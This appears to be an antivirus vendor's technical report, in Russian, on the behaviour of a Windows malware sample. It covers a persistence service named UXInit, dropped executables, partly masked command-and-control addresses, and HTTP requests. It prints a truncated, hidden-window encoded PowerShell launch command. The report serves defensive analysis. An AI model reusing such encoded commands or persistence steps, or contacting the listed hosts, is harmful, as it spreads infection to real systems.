Техническая информация
Для обеспечения автозапуска и распространения
Создает следующие сервисы
- [<HKLM>\System\CurrentControlSet\Services\UXInit] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\UXInit] 'ImagePath' = '"%WINDIR%\SysWOW64\UXInit\UXInit.exe"'
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaAHUAZQBlAG8AegBnAHMAaQA9ACcAQQBiAG8AagBmAHgAegBsACcAOwAkAFMAdQB5AHgAZwBzAGQAZwBrACAAPQAgACcANgA1ADcAJwA7ACQAQQBsAGgAaQBiAGMAcABoAGgAZQBxAHYAZAA9ACcAWQB4AGwAcwByAHoAZgByAHQAeABpAHgAbgAnAD...
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\657.exe
Перемещает следующие файлы
- %HOMEPATH%\657.exe в %WINDIR%\syswow64\uxinit\uxinit.exe
Сетевая активность
Подключается к
- '71.##6.247.90':80
- '98.##9.119.52':80
- '80.#6.91.91':8080
TCP
Запросы HTTP GET
- http://su###rgo.com/Login/K/
Запросы HTTP POST
- http://80.##.91.91:8080/NGD2lfd0wFrHmUn8r3/wkna10Ac7B2lKbM1Xmo/C8mB7IpaXP/oVzSF/i5Zug18/ via 80.#6.91.91
UDP
- DNS ASK su###rgo.com
Другое
Создает и запускает на исполнение
- '%HOMEPATH%\657.exe'
- '%WINDIR%\syswow64\uxinit\uxinit.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaAHUAZQBlAG8AegBnAHMAaQA9ACcAQQBiAG8AagBmAHgAegBsACcAOwAkAFMAdQB5AHgAZwBzAGQAZwBrACAAPQAgACcANgA1ADcAJwA7ACQAQQBsAGgAaQBiAGMAcABoAGgAZQBxAHYAZAA9ACcAWQB4AGwAcwByAHoAZgByAHQAeABpAHgAbgAnAD...' (со скрытым окном)
